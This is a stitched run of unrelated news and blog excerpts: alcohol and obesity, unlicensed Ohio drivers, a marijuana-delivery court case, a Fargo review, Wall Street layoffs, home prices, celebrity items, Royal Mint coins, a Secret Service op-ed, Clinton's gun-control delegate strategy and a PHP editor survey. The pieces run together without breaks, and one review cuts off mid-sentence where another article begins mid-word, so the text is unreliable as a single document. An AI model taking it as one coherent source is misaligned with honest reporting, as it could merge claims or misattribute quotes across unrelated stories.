“While there has been much work to look at the causes and consequences of the twin threats in isolation, less has been done to look at the links between alcohol and weight gain.”
In England about two-thirds of adults are obese or overweight, which is a risk for serious life-shortening diseases including heart disease, stroke, cancer and type 2 diabetes.
One unit of alcohol is 56 calories – so weaker drinks are less fattening, although those with mixers containing sugar will be higher in calories. Among adults who drink, nearly 10% of their daily calorific intake comes from alcohol, it is estimated.
But the calories are not the only problem. Alcohol cannot be stored in the body but is converted to acetate in the liver and then released into the bloodstream, inhibiting the amount of fat the body burns from food. Alcohol consumption also interferes with appetite regulatory hormones, leading drinkers to eat more.
There is evidence that heavy drinkers – those imbibing four or more drinks a day – are at greater risk of obesity than moderate or non-drinkers.
Binge-drinkers are also at higher risk of being overweight or obese than those who spread their drinking over a number of occasions.Judge says driving without a license is No. 1 crime in Youngstown
By STEVE WILAJ
TheNewsOutlet.org
YOUNGSTOWN
Shootings and robberies may snare the most headlines, but it’s the unlicensed and uninsured drivers causing the most headaches, especially for police and judges, city officials said.
“The No. 1 crime in the city of Youngstown is people driving without a license, absolutely without a doubt,” said Judge Elizabeth A. Kobly of Youngstown Municipal Court. It’s a crime she deals with “at least 10 times a day.”
Police Chief Rod Foley calls the problem of unlicensed and uninsured drivers an “epidemic.”
In fact, Ohio is in a five-way tie for seventh place in the nation, with 16 percent of drivers behind the wheel without insurance, according to a 2011 study by the Insurance Research Council, the most-recent year such a study was undertaken.
Joining Ohio are Indiana, Washington, Arkansas and Georgia.
And, to add the financial costs of driving, the cost of auto insurance in Ohio will increase substantially before the end of this year.
Ohio requires drivers to have minimum liability coverage of $12,500 for injury and death for one person; $25,000 for two or more people; and $7,500 for property damage.
Starting Dec. 22, however, those minimums increase to $25,000, $50,000 and $25,000, respectively.
“If people driving couldn’t afford [auto] insurance before, it’s going to get worse,” said Timothy Cearfoss of Youngstown, an agent with American Family Insurance.
Cearfoss estimates that as many as 45 percent of Youngstown’s drivers are without a license, insurance or both.
The average cost of drivers’ insurance should rise proportionally to the liability coverage increases — by about 20 percent to 25 percent, Cearfoss said.
He also said the changes are a positive start because of the naturally higher costs of vehicles since the current rates were set 44 years ago.
Both Cearfoss and Judge Kobly, however, say there is a negative impact.
“If you have to choose between food on the table and [driver’s] insurance, people are going to put food on the table,” Judge Kobly said. “And they’re going to let their insurance lapse, and when the insurance lapses, here we go again. They get caught up in that web.”
The “web” she refers to is when people continue to drive without licenses and insurance even after several convictions.
“We have people in here that are not only convicted of this one time, twice or three times, but we have people that habitually drive without a license, and they get convicted 13, 14, 15 times,” Judge Kobly said. “By then, they owe so much money in reinstatement fees that they can never dig themselves out of that hole, so they keep on driving anyway.”
As a result, accidents involving these drivers put more financial stress on insured drivers.
Ohioans have the option of buying uninsured- motorist coverage, which has an average cost of $40 to $50 per year. This replaces the liability coverage the other drivers don’t possess, Cearfoss said.
“A lot of times, [unlicensed] individuals have pretty serious driving records with previous arrests or driving under suspensions,” Foley said. “So they’re high-risk drivers.”
Since 1953, Ohio has required drivers to carry auto insurance for injuries and property damage. Meanwhile, police are required to check for proof of driver’s insurance at crashes and traffic stops. Those who don’t produce those insurance cards must then show proof of insurance to a court or to the Ohio Bureau of Motor Vehicles.
Even with these procedures, Foley said city police officers have struggled to keep unlicensed and uninsured drivers off the road.
“We used to be able to cite people for not having insurance, but they got rid of that law,” Foley said. “Now, we just write on the ticket that they don’t have insurance, and the judges do what they’ve got to do.”
Judge Kobly makes an effort to help unlicensed drivers with her SLIP Court — Suspended License Intervention Program — which she established in 2002.
According to the municipal court website, the program is for people who face jail because of driving without a license.
Participants are screened by the court’s probation department and are given an opportunity to plead guilty and enter the program if eligibility requirements are met.
Charges are dismissed for participants who comply with the program and obtain a driver’s license. Those who fail to obtain a license or commit a new offense while in the program are sentenced on the original offense.
For information on the program, call 330-742-8853.
“There’s so many different ways that you can lose your license, and there’s so much red tape,” Judge Kobly said. “I’ve seen people in here that owe $10,000 in reinstatement fees. So it’s a problem. The more people continue to drive, the deeper that financial hole they’re digging for themselves, and we try to help them through” with SLIP.
As for keeping uninsured motorists and those driving under suspension off the road, Foley and Cearfoss said that will be difficult.
Cearfoss suggested Ohio adopt a system that allows the BMV to check for insurance at the purchase of a license, similar to procedures done in Florida and Texas.
“I don’t know if it’s the answer, but it would be relatively easy for the BMV to enforce,” Cearfoss said. “They do it in other states, and I assume that we should also be able to do it in Ohio.”
Based on the IRC study, Maine has the smallest amount of uninsured drivers at 4.5 percent. When they renew their vehicle registration each year, Maine’s drivers must provide proof of auto insurance.
“I don’t know if there’s any answer to it. I really don’t,” Foley said. “Unless they develop some type of system that your insurance provider would have to notify the state once you drop your coverage that your license is automatically suspended, that’s the only way they could try to do that, but then you’re going to get into privacy issues.”
Whatever the solution, Judge Kobly believes the problem of uninsured and unlicensed drivers in Youngstown will continue to linger because of the city’s economic situation.
“It all comes down to money, unfortunately,” she said. “People live month to month, and they just don’t have the money. So it’s a financial issue for a lot of folks, and that contributes to [the problem] in a big way.”
TheNewsOutlet.org is a collaborative effort among the Youngstown State University journalism program, Kent State University, The University of Akron and professional media outlets including, WYSU-FM Radio and The Vindicator, and The Beacon Journal and Rubber City Radio, both of Akron.The young man told cops “he was going to make four or five more deliveries that evening.” He obligingly showed officers where to find the 15 gram bag of marijuana and THC-infused candies and one rolled cigarette that were located in his car.
Taylor Patrick Jensen said he was part of a “collective” called “Higher Elevation” and that he delivered marijuana to “patients,” according to Carlsbad police sergeant Matthew Lowe, who testified in San Diego’s North County Superior Courthouse today.
Carlsbad peace officers interrupted Jensen’s deliveries about 6 p.m. on a Tuesday evening, June 12, after a citizen reported witnessing suspected drug sales from a vehicle.
Testimony this afternoon suggested that Taylor Patrick Jensen, 22, and his mother Kristin Jensen, 43, operate a medical marijuana dispensary from their home in Carlsbad; it is named “Higher Elevation” and is said to be a non-profit corporation which delivers marijuana.
Private defense attorney Lance Rogers told the court that the operators of Higher Elevation have a proper seller’s permit, and he compared the “permissible reimbursements” of money to “giving a tithing to a church.”
Prosecutor Benjamin Barlow questioned whether the organization was actually a cooperative, since he said only Kristin Jensen’s name was on the articles of incorporation. Barlow also argued that payment of money for the marijuana was not a “donation” since the defendant reportedly told officers that he would not leave the “medicine” if he didn’t get paid.
Defense attorney Lance Rogers suggested to the court that current California law allows members of a marijuana collective to contribute “in kind” to a collective by “contributing” money.
Judge Daniel Goldstein stated that when the California legislature wrote the applicable law it did not include “monetary consideration” as permissible, but it did mention “cultivation,” and so Judge Goldstein concluded “they didn’t want any sales going on.”
Judge Goldstein further noted that the legislature created a “threshold of primary care-giver,” but that “primary care-giver” was not the role that Taylor Patrick Jensen described for himself to officers.
Taylor Patrick Jensen, 22, was ordered held to answer a single felony charge of possession of marijuana for sale, the maximum sentence for which could be 3 years local custody. Jensen is not currently in custody, and his next hearing date is set for August 30.Since the Academy Awards a few weeks ago, there’s been a lull in content on Popcorn Culture. That’s mostly due to the lack of good movies being released, as always happens around this time of year. The Grand Budapest Hotel and Nymphomaniac are around the corner, but they’re not in theaters near me yet. So to compensate for this drought, I’m introducing a new series. It’s something I’ve really never done before, so it should be interesting to see how it goes. Every so often, when there’s some downtime on the site, I’ll write up a review of one of my favorite films of all time. The inaugural post will be for the 1996 Coen Bros. classic Fargo. Enjoy!
There’s not too much of Fargo in Fargo. It’s the town in the beginning of the film where the hapless Jerry Lundegaard (William H. Macy) meets two criminals (Steve Buscemi and Peter Stormare) and pays them to kidnap his wife, and it’s not visited again afterwards. Most of the action doesn’t even take place in the same state. But no one remembers this movie for Brainerd, Minnesota. Why Fargo?
Well, Fargo is really a movie about being out of your depth, about betraying decency and ethics without the slightest clue of how to do so. The Coen Brothers’ filmography has a strong theme of morality running through it, with the many trials of Llewyn Davis in their most recent picture being a good example. It’s also a movie about the virtues of keeping things small. The final scene of the film, in which Marge Gunderson (Frances McDormand) congratulates her husband for getting his artwork featured on a stamp, drives this home. He’s disappointed that the stamp isn’t a very popular denomination, but Marge assures him that people will always need the smaller stamps, for “whenever they raise the postage.” Fargo, North Dakota may not be the center of all the drama, but it’s a highly significant location. Jerry Lundegaard had to travel over two-hundred miles to get to Fargo and meet with the kidnappers. He went way outside his element, literally and figuratively. But Jerry wanted more. He wanted something bigger than what he had. Fargo’s not just a location, it’s a symbol for Jerry’s incompetence, and his hubris. If he hadn’t strained to reach for something better, everything would have worked out fine.
That’s a strange message for a film to have, if you think about it. How many films are about the rewards of not pushing boundaries and breaking barriers? But it’s not like Fargo is some fascistic ode to conformity. Nothing in the film is that polarized. The sky is an endless expanse of gray, uniform in its ambiguousness. The fresh white snow that blankets every surface is always marked by something darker. Usually it’s blood. Red-on-white makes for a striking contrast. In such a seemingly-innocent locale, acts of evil stand out a whole lot more.
That’s not exactly fresh territory, of course. David Lynch was covering very similar material in Blue Velvet ten years before Fargo was released, and he wasn’t the first to do it either. What makes Fargo stand out is that it doesn’t rely too heavily on irony to tell its story. The “seemingly idyllic town hiding a dark secret” trope hangs a lot on schadenfreude; we enjoy watching perfectly harmonious communities torn apart by greed and violence because it reminds us that the people who shine like beacons of hope and prosperity are just as flawed and susceptible to temptation as we are. But again, that’s not what Fargo is ultimately going for. This isn’t a movie that’s designed to make you feel good about yourself. Its ostensible use of that trope masks its broader sentiment towards humanity. Yes, all of us are flawed and susceptible to temptation. And look at how awful things can get because of that.
It’s not all grim, though. Fargo also has Frances McDormand as police chief Marge Gunderson, one of my favorite cinematic characters of all time. She’s the reason that Fargo doesn’t fall into the typical rhythms of that “small town” trope. In that kind of movie, the protagonist tends to be unaware of the malice surrounding their town until they stumble across it. Kyle MacLachlan’s character in Blue Velvet happens to find a severed ear in a field, and things start to unravel from there. Marge is different. She doesn’t solve this mystery by accident. She’s a great detective, and she uses the way people expect her to act to her advantage. Look at this |
[ed] that she was not wearing a bra" and presented herself with "her blouse buttoned in a fashion which appeared as though it had been unbuttoned and rebuttoned unevenly." (Merrill denies awareness of any inappropriate relationship.) Demetriou took her beef to William Kubeck, the manager of the group, and who, she says, was "close personal friends" with one of the two; he "completely ignored" her complaints, says her suit. Merrill and Kubeck deny the allegations except to concede that Kubeck did socialize on occasion with one of the two outside work.
Kubeck, she alleges, then retaliated, becoming "hostile" toward her. (Merrill and Kubeck deny that claim.) When she returned from maternity leave, Demetriou says in her suit, Kubeck blocked her bid to be promoted to director by not presenting her name for nomination--and chastised her when she was late to work because she had to care for her sick child. The comments were discriminatory because men who were late to work or simply disappeared from work were not rebuked, she alleges. Merrill and Kubeck deny all claims but concede that Kubeck did not nominate Demetriou for a promotion.
On Apr. 30, 2008 Demetriou was laid off. "No other individuals from the Desk were terminated as part of this layoff," she claims. Merrill disagrees. It says the firm also laid off two other employees who were part of the group managed by Kubeck. "The firm's decision on who to lay off or retain was based on a determination of who the strongest workers were, regardless of gender," says a Merrill spokesman. Demetriou is seeking $45 million in compensatory and punitive damages.
At Citigroup's public finance department some of the women let go were up-and-comers, like Brittany Sharpton, 23, and Chia Siu, 25, analysts in, respectively, the infrastructure and the housing groups. "There was a lot of brainstorming [last summer] of what should we do to keep [Chia]," recalls Bartoletti, her former boss. Siu was promised a promotion effective January 2009. "I thought as soon as they promoted me, they'd want me to stay a year," says Siu. Instead, "I was betrayed, I was deceived." She took and passed her Series 63 exam, a license required for soliciting orders of securities. Her male counterpart--who kept his job--didn't have his Series 63 certification as of the Nov. 21 layoffs (he has since obtained it). With the layoffs, "you have taken out a whole generation of future female managing directors," says Lisa Conley, 42, the sole female director in the health care group, who was also let go in November. When Citi terminated Mentor and Bartoletti, they lost two members of the municipal securities division's " Coach for Success" program, a mentoring system for future leaders of the bank.
Plenty of aggrieved women are afraid of making a stir. In the summer of 2007 female employees were given the choice of cashing in on or opting out of a $46 million class-action settlement with Morgan Stanley to resolve charges of gender discrimination in its retail brokerage division. Alice Hughes, a Morgan Stanley financial adviser in Dallas, talked with several women who declined to participate--and not because they planned to pursue separate claims. "It was just sheer fear," she says, that even if they kept their jobs they might be excluded from benefits like getting a chunk of business when another broker left the firm. "They're right," says Hughes. Moreover, she claims, if they make trouble, "they will be blacklisted from working at any major firm."
Dethroned
Missing in action: Since the departure of these women, no female executives occupy corner offices at the leading banks. What kind of future do women have on Wall Street?Houston-area home prices fell in 2nd quarter, national Realtors group says
The median sales price in San Jose, Calif. passed the $1 million mark in the second quarter, according to the Houston Association of Realtors. The median sales price in San Jose, Calif. passed the $1 million mark in the second quarter, according to the Houston Association of Realtors. Photo: Realtor.com Photo: Realtor.com Image 1 of / 1 Caption Close Houston-area home prices fell in 2nd quarter, national Realtors group says 1 / 1 Back to Gallery
Houston was among 29 metro areas of 178 tracked where home prices fell in the second quarter, the National Association of Realtors said Wednesday.
The median existing single-family home price in Houston fell by 1.7 percent to $217,400 during the second quarter, down from $221,100 during the same period in 2015, the group said.
Houston-area home prices still are higher than last year's median price of $213,400 and well above the median prices of $198,400 in 2014 and $181,300 in 2013. They are below the national median price of $240,700, 4.9 percent higher than in the second quarter of 2015.
But local home prices are nowhere near those in San Jose, Calif., the nation's most expensive housing market. Homes there cost five times as much as the median-priced home in the Houston area, according to the report.
Record-high prices in the California city rose 10.7 percent during the past year to almost $1.1 million in the second quarter, according to the Realtors group. It marked the first time the median price of a metro area passed the $1 million mark.
San Jose was among 25 metro areas that had price gains of more than 10 percent during the quarter, according to the Realtors group.
According to the NAR, second-quarter prices fell most in Binghamton, N.Y., and Atlantic City, N.J., with each posting double-digit percentage declines.
Boulder, Colo., had the largest price increase, with the median sales price rising 18.5 percent to $549,600 in the second quarter.
The local Houston Association of Realtors, meanwhile, reported a median home price of $230,000 in July. The price, which factors in a small number of new homes, was a record for a July. Excluding new houses, the median price in Houston rose to $217,500 in July.Christina Hendricks says she’s not sure if she’s ready to film the final scenes of her hit series Mad Men, but she’s also enjoying spending quality time with her husband as she gets a month-long mini-break from the set.
Hendricks, 38, joined other celebs including Jaime King and Ellen Pompeo at a design party in Los Angeles Thursday for online retailer One King’s Lane, which launched its new vintage decor line Hunters Alley.
“It’s scary. But we had a really good run,” Hendricks, who plays flame-haired and sexy office manager Joan Holloway, told PEOPLE as the clock ticks on shooting Mad Men‘s final seven shows. “You want to quit when you’re still on top. I think [series creator] Matt [Weiner] is ready to move on. It’s going to be hard I don’t feel ready.”
But as the show is nearly over, one happy constant in her life is her marriage to actor Geoffrey Arend. The couple, wed since 2009, get to spend a fair amount of time together and may be taking their life bi-coastal as he’s currently shooting a pilot for a N.Y.C.-based series. She’ll happily tag along if everything works out.
“We’ve been really lucky. We are mostly always in the same city,” she says of their work-life juggle as actors. “When one of us isn’t, we travel together as much as we can. We have a two week rule. We try not to be away from each other no longer than two weeks.”
Hendricks, who got her decor fix on, said she’s currently collecting Majolica and hopes to put her latest purchase – a colorful lobster platter – on her kitchen wall.
Home time with her hubby is precious and her idea of a perfect date-night with him is low-key, Hendricks shared.
“Probably go to a beautiful cocktail bar with beautiful ambience,” she tells PEOPLE. “Go have dinner at a new amazing restaurant. Then go home, watch a movie and snuggle up with my husband.”
• Reporting by MATTHEW COLE WEISSMusk tweets then deletes anti-immigration ban comments
CLOSE Tesla founder Elon Musk shared a picture of what seems to be his tunnel boring efforts in Los Angeles. Veuer's Lindsey Granger has more. Buzz60
SAN FRANCISCO — Elon Musk doesn't really do interviews. But he does do Twitter.
That perhaps explains the tea leaf-reading approach many take to the Tesla and SpaceX CEO's often bold tweets, which on Wednesday included a curious (and rare) deletion of messages that condemned President Trump's controversial immigration ban against visitors from seven majority-Muslim nations.
File photo taken on Feb. 3, 2017 shows President Trump talking with Tesla and SpaceX CEO Elon Musk, center, and White House chief strategist Steve Bannon during a White House meeting with business leaders. (Photo: Evan Vucci, AP)
In a pair of tweets, Musk called the ban, which has been lifted by court ruling, "not right." He also wrote that disagreements about policy matters are reflective of a "functioning democracy." Then the tweets disappeared.
After Scotland-based photographer Sam Cornwell tweeted about the vanishing, Musk himself replied, explaining that they "were earlier drafts that I accidentally published. I said the same thing a week already."
Why did @elonmusk just delete his Tweets regarding the #Muslimban? They were sound: pic.twitter.com/K4MXqKCb5w — Sam Cornwell (@Samcornwell) February 15, 2017
On Cutler's thread, reaction ranged from skepticism ("Yeah...Elon Musk? Accident? Doubt it," tweeted @willpercy5) to fan-boy surprise (unprintable from @davenorcott).
Indeed if there is any mystery here at all, it would be why Musk bothered hitting delete.
The tech entrepreneur, who sits on two business councils that advise Trump, defended his position on the panels by arguing that they afforded him the opportunity to express his displeasure with the ban and other issues directly with the president.
"At my request, the agenda for yesterday's White House meeting went from not mentioning the travel ban to having it be first and foremost," he tweeted on Feb. 5.
Musk's automotive and rocket companies also voiced their dissent by joining more than 100 tech companies in signing an amicus brief just before a federal appeals court here heard arguments for and against the travel ban.
The companies argued that the executive order would inherently hurt U.S. business interests. On Feb. 9, three judges on the Ninth Circuit Court of Appeals upheld the ban.
Follow USA TODAY tech reporter Marco della Cava on Twitter: @marcodellacava
Read or Share this story: http://usat.ly/2lQKaYAIt’s been an exciting week for UK coin collectors and if you’ve not been following the announcements on Facebook or Twitter then this article should bring you up to speed! Those of you who have been collecting coins for a few years or more will know that November is normally an exciting time at The Royal Mint, as the coins of the following year are released. So, you’ll be excited to learn that on Monday the new coins for 2016 were announced! In total, eight 2016 UK coins have been revealed alongside The Sovereign for 2016.
Anniversaries for William Shakespeare, The Great Fire of London and the Battle of Hastings are all marked on UK coins in 2016. A £2 coin honouring the Army’s role in the First World War continues the First World War coin collection, and The Queen’s 90th Birthday is also celebrated with a UK coin. 2016 is also the year of the last ’round pound’, with the new 12-sided £1 being introduced in 2017. So, without further ado, here are the 2016 coins revealed this week:
The Queen’s 90th Birthday 2016 UK £5 Coin
In 2016, Her Majesty The Queen will celebrate her 90th birthday – the first British monarch ever to do so. Acclaimed artist Christopher Hobbs has created a design for this coin to mark the occasion, inspired by the heraldic rose of England and The Queen’s own love of roses.
This coin isn’t available individually right now, but you will find it in the 2016 Annual Sets.
The 350th Anniversary of The Great Fire of London 2016 UK £2 Coin
On a September evening in 1666 The Great Fire of London started in a baker’s shop in Pudding Lane. Royal Mint graphic designer, Aaron West, has captured the event that changed the face of the City of London forever, on a 2016 £2 coin.
The Brilliant Uncirculated version of the coin is available now, here.
The 400th Anniversary of the Death of Shakespeare 2016 UK £2 Coins
William Shakespeare remains a household name 400 years after his death, and his writing is still central to our everyday language and school curriculum today. Shakespeare’s works make many references to coins, so it is apt that for 2016, three £2 coins reflect three aspects of his work: Tragedies, Histories and Comedies.
The Brilliant Uncirculated coins are available now, here.
The Army 2016 UK £2 Coin
In 1914, as Britain mobilised for war, the whole country was swept by patriotic fervour in response to Lord Kitchener’s call to arms. Team mates, friends, neighbours and colleagues served side by side in ‘Pals’ Battalions to defend their country – a spirit of camaraderie that is remembered on this £2 coin by graphic designer Tim Sharp.
The Brilliant Uncirculated version of the coin is available now, here.
The Last ‘Round Pound’ 2016 UK £1 Coin
With a brand new 12-sided £1 coin entering circulation in 2017, the 2016 £1 coin marks the end of an era for the popular British ‘round pound’, first introduced in 1983. The 2016 £1 will be of particular note to collectors because it will not be available in general circulation.
This coin isn’t available individually right now, but you will find it in the 2016 Annual Sets.
The 950th Anniversary of The Battle of Hastings 2016 UK 50p Coin
On 14 October 2016 Britain will remember the 950th anniversary of The Battle of Hastings – a landmark moment in British history. The 50p coin features a reverse design by sculptor of repute, John Bergdahl, and depicts the famous fate of King Harold.
The Brilliant Uncirculated version of the coin is available now, here.
The Sovereign 2016
The Sovereign returns in 2016 with the familiar St George and the dragon design. However, you may notice something different about our flagship coin this year. The 2016 Sovereign features a celebratory obverse portrait for one year only on Proof Sovereign coins, to mark Her Majesty The Queen’s 90th birthday year. This is only the second time in Queen Elizabeth’s reign that a commemorative portrait has been used on Sovereign proof coins, the last time being in 1989.
The 2016 Annual Sets
If you can’t pick a favourite, you’ll be pleased to know that the 2016 Annual sets are also now available to order on www.royalmint.com.I had always thought Sophia’s disapproving look in this iconic photograph taken by Delmar Watson was a perfectly captured moment of female jealousy. Mansfield to me was the carefree blonde and Loren, the feisty brunette. But of course, most of us have only seen this moment from one angle. There were other photographs taken that night in 1957 that give a little more context to Sophia’s infamous sideways glare…
In April 1957, Hollywood was hosting a dinner party in honour of the Italian actress, Sophia Loren at the Romanoff’s. American actress, Jayne Mansfield had been invited and was sitting between Loren and Clifton Webb. At one point she leaned over the table, allowing her breasts to spill over her low neckline, exposing one nipple. From where Sophia was sitting, she had quite a view…
Sophia’s face below is also priceless!
Alas, the slip was absolutely intentional and became the feature of a notorious publicity stunt intended to deflect attention from the Italian star. The press dubbed it, ‘the Battle of the Bulge’. But this wasn’t the first ‘nipple slip’ publicity stunt for the Hollywood star. Two years earlier she had posed for Playboy and her carefully staged public accidents became a rather expected occurrence. She had nevertheless, come a long way from the times when the prominence of her breasts led her to lose professional roles…
Oh Jayne…!
I love finding different versions of iconic photographs! Do you have any to share?In The Arena Something Is Rotten in the Secret Service And Obama's life is in danger because of it.
Ronald Kessler, a former Washington Post and Wall Street Journal investigative reporter, is the author of The First Family Detail: Secret Service Agents Reveal the Hidden Lives of the Presidents.
As if on cue, each time headlines reveal a new Secret Service scandal, President Obama and his White House defend the agency.
The latest example was Deputy National Security Adviser Tony Blinken’s statement on the Secret Service’s failure, in 2011, to detect gunshots at the White House until four days later. Blinken said that the task of the Secret Service is “incredible,” and Secret Service Director Julia Pierson will correct any deficiencies as she looks into the incident, a story first reported in my book, The First Family Detail.
Story Continued Below
But an officer of the Secret Service Uniformed Division, the unit that handles security at the White House, did report hearing gunshots. Why would she back down after a supervisor pooh-poohed her report? Why would uniformed officers at the White House let Michaele and Tareq Salahi and Carlos Allen, the little-remembered third gate-crasher, into a state dinner when they knew they were not on the guest list? Why would uniformed officers and agents fail to take out an intruder who raced into the White House with a knife and could have been armed with explosives or weapons of mass destruction?
The answer is that while agents and uniformed officers are for the most part brave and dedicated, Secret Service management perpetuates a culture that punishes those who point out deficiencies and rewards with promotions those who cover up problems and foster the myth that the agency is invincible.
“If you dare voice your opinion and report something bad, you are mocked,” says a current agent who asked not to be identified for fear of reprisals.
As part of that destructive culture, management proudly proclaims that the Secret Service “makes do with less.” So while the Metropolitan Police in Washington deploy sensors that detect gunshots, the Secret Service does not have them. Nor does the agency keep up to date with the latest devices for uncovering intrusions or weapons of mass destruction. The culture of intimidation has led to declining morale and high turnover that results in understaffing and long overtime hours for sleepless agents and officers.
Dishonesty is not only tolerated but encouraged: Rather than allowing time for physical fitness and refresher firearms training, management asks agents to fill out their own physical fitness and firearms requalification test results to show they have met the required standards. When members of Congress visit the Secret Service’s training facility in Laurel, Maryland, the Secret Service puts on impressive supposedly spontaneous scenarios that, according to agents, are actually secretly rehearsed beforehand.Why Hillary Clinton’s Embrace of Gun Control Makes for Smart Delegate Math New voter models show that in the Democratic primary, the issue resonates most where electoral prizes are biggest.
In April 2008, Hillary Clinton, trailing Barack Obama late in the fight for the Democratic nomination, tried a new line of attack against her rival. She faulted him for opposing gun rights.
Obama’s infamous remark about rural Americans who “cling” to guns and religion had given Clinton the opening, which she sought to take advantage of several ways. Out-polling the Chicago senator among Democrats in non-urban areas, she turned to those voters in an effort to reverse the momentum of the race. In the lead up to Pennsylvania’s primary that year, Clinton said she no longer supported a federal handgun registry, which she had backed as a Senate candidate. She told stories of her father teaching her to shoot. She sent mailers courting gun-owning Democrats in Indiana.
“What might work in New York City is certainly not going to work in Montana,” Clinton said during a debate, referencing that cycle’s last primary state. “For the federal government to be having any kind of blanket rules that they’re going to try to impose, I think doesn’t make sense.”
Eight years later, Clinton is making the opposite case — and hoping for a different final outcome.
“Most of the guns that end up committing crimes in New York come from out of state,” Clinton said during a CNN debate in Brooklyn Thursday night. “They come from the states that don’t have kind of serious efforts to control guns that we do in New York.”
There are several explanations for Clinton’s change of tune. For starters, the full-throated calls for tougher gun laws that she has made since the beginning of her second White House bid reflect both a return to principles and a reading of the national moment: Last summer’s string of mass shootings, coming in the wake of those at Sandy Hook Elementary School and in Aurora, Colorado, have increased some voters’ interest in the issue.
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But Clinton’s embrace of gun reform also offers strategic opportunities unique to the 2016 contest. This time around, Clinton is the Democrat dominating among African-Americans, while her opponent, Vermont Senator Bernie Sanders, fares better with working class whites. And despite much agreement between the two candidates on gun laws, two elements of Sanders’s record — his previous votes for a statute that affords broad legal protections to the gun industry, and against a background check law — give Clinton valuable contrasts to draw.
Early in the race, a blitz of ads Clinton aired in New Hampshire to call unflattering attention to Sanders’s positions put him on the defensive but fell far short of delivering his insurgent candidacy a knockout blow. Now that their increasingly hard-fought race has stretched into the spring, Clinton and her team may find another electoral benefit in making gun violence a campaign topic. Locking up delegates is now the name of the game. And by emphasizing the issue, Clinton positions herself to win new delegates at a higher rate than she wins votes.
The opportunity arises from an aspect of the party’s presidential nominating rules. In Democratic primaries, delegates are awarded proportionally by congressional district: The number of delegates is based on how many Democrats voted in recent elections — the stronger the Democratic vote in past elections, the more total delegates a district has up for grabs. Many of the most heavily Democratic districts, by turn, are majority black districts home to reliable supporters of stricter gun laws.
Anecdotally, that was clear before the Democratic race entered its current, decisive stretch. But thanks to new modeling from a progressive voter targeting firm, we can get a more empirical sense of just how Clinton’s positions may be contributing to delegate breakdowns.
Consider the results on April 7 in Wisconsin, where Sanders won the popular vote by 13 percent but claimed a narrower share of the crucial delegate haul, winning 48 to Clinton’s 38. (Clinton had already locked up the lion’s share of Wisconsin’s superdelegates, who can support a candidate regardless of voting results.) Days before the primary, with some opinion polls already showing her losing the state, Clinton held a high-profile anti-gun violence event at a black church in Milwaukee. The city sits in Wisconsin’s 4th district, which at 10 delegates offers the state’s largest delegate prize. When the ballots were tallied, Clinton narrowly topped Sanders in the district’s popular vote — the only district she won in Wisconsin — and split its delegates with him, denying him a bigger delegate windfall.
On Tuesday, Democratic primary voters go to the polls in New York, which awards 291 delegates. Next week, the five states holding votes will include Connecticut (70 delegates), Maryland (118), and Pennsylvania (218). In those states, district maps show that Clinton’s gun positions will again find the most receptive audiences in the places with the most delegates at stake. And since Sanders needs big delegate wins to overtake Clinton, that may be no small thing.
It takes 2,383 delegates to win the Democratic nomination. On Monday, Clinton had 1,758, including superdelegates, to Sanders’s 1,076. (Just over half of the Democratic delegates — 56 percent — are awarded at the congressional district level. Others are awarded at the statewide level.)
Clarity Campaign Labs, a data strategy group that works primarily for Democrats but is not affiliated with either presidential campaign, has developed a model that assigns voters a score, out of 100, indicating their propensity to support gun control. (The higher the number, the more likely the voter favors strong restrictions on firearms.) In the upcoming primaries, says John Hagner, a partner at the firm, “The kind of Democrats who agree with Hillary on guns tend to live in areas that have the most delegates.”
Maryland’s largely rural first congressional district, represented by Republican Andy Harris in the House, for example, awards six Democratic delegates. Clarity’s average gun violence prevention score for voters in that district is 62.2. Maryland’s majority-black fourth congressional district, based in Prince George’s County outside Washington and represented by Democrat Donna Edwards, awards 10 delegates. Clarity gives the district an average gun violence prevention score of 71.5.
In Pennsylvania, surveys have put Clinton on pace to win again, even as her statements on gun policy stand in stark contrast with her 2008 positions. The Clinton of 2016 may alienate gun-owning Democrats in rural central Pennsylvania, but that swath of the state also offers the fewest delegates. By contrast, in Pennsylvania’s second congressional district, which includes most of Philadelphia and awards seven Democratic delegates (more than any other district in the state), Clarity calculates a gun violence prevention score of 74.5. And the second district is surrounded by other delegate-rich districts with similarly high propensity to back gun reform.
The pattern holds throughout the states voting over the next two weeks. Clarity’s data is proprietary, and the firm would release only some of its numbers. But what they show is a clear split between smaller and larger districts on the issue of guns. In districts that award five delegates, the average gun violence prevention score is 68.4, says Hagner. Democrats in districts with eight delegates have an average score of 78.3.
“It’s a major difference,” says Hagner. As a candidate, “you’d rather be aligned with the most popular opinion in the district where the most delegates are” — especially when delegate totals are make-or-break.
To ensure that voters remember where she and Sanders stand, Clinton is hammering her opponent with sometimes unflinching messaging. Last week, she appeared with Erica Smegielski, whose mother died the Sandy Hook shooting and who has publicly demanded that Sanders apologize for opposing a lawsuit that families of some of the victims have filed against the manufacturer of the AR-15 used in the shooting. (Three days later, during the Democratic debate at the Brooklyn Navy Yard, Sanders reversed course on legal protections for the gun industry, saying, “They have the right to sue, and I support them and anyone else who wants the right to sue.”) Mothers of urban gun violence victims have become powerful proxies for Clinton. At the Milwaukee event, one told the crowd, “If you want my vote you better work for it. I’m not going to give it to you just because you say you’ll do free college, because if my child is dead he can’t go to college.”
Parrying Clinton’s attacks, Sanders has argued that his views on gun laws are a product of his decades representing Vermont, where hunting is popular, gun regulations scarce, and violent crime relatively low. But by mounting that defense, he has left himself vulnerable to a new criticism. Some Clinton backers have suggested that the distinction Sanders is trying to draw flirts with racism, possibly insinuating that white rural gun owners are law abiding, while gun crime is product of black urban pathologies.
Sanders’s argument “could could be misrepresented as an indictment of urban culture,” Congressman Hakeem Jeffries, a Democrat who represents a Brooklyn district, tells the The Trace.
“It’s not responsible to look at gun violence in ways that break us up by racial and regional identities,” he argues.
“It’s a big problem and we need to solve it together.”
[Photo: AP Photo/Mike Groll]Note: The survey is now closed. Results here.
The choice of editors and IDEs is vast in the PHP world – from platform specific to web based ones, from open source fully-fledged IDEs to commercial text editors, there’s more choice than one can have time to try out. In an effort to single out the best and most popular, we’ve put together a survey.
Participation is most appreciated, and to show you how much we love you for giving us a minute or two of your time, completing the full survey makes you eligible for winning some prizes. Several commercial IDE/code editor vendors have banded together and decided to offer their licenses to up to three lucky winners. If you win, you have the choice of picking from the pool of rewards which consists of the following:
1 Learnable ebook
1 month of Learnable membership
1 personal license for PhpStorm, courtesy of Jetbrains
1 personal license for BBEdit, courtesy of Bare Bones Software
1 personal license for Zend Studio, courtesy of the Zend Technologies
1 personal license for phpDesigner8, courtesy of mpsoftware
1 personal license for Codelobster, courtesy of the CodeLobster company
1 personal license for Rapid PHP, courtesy of Blumentals
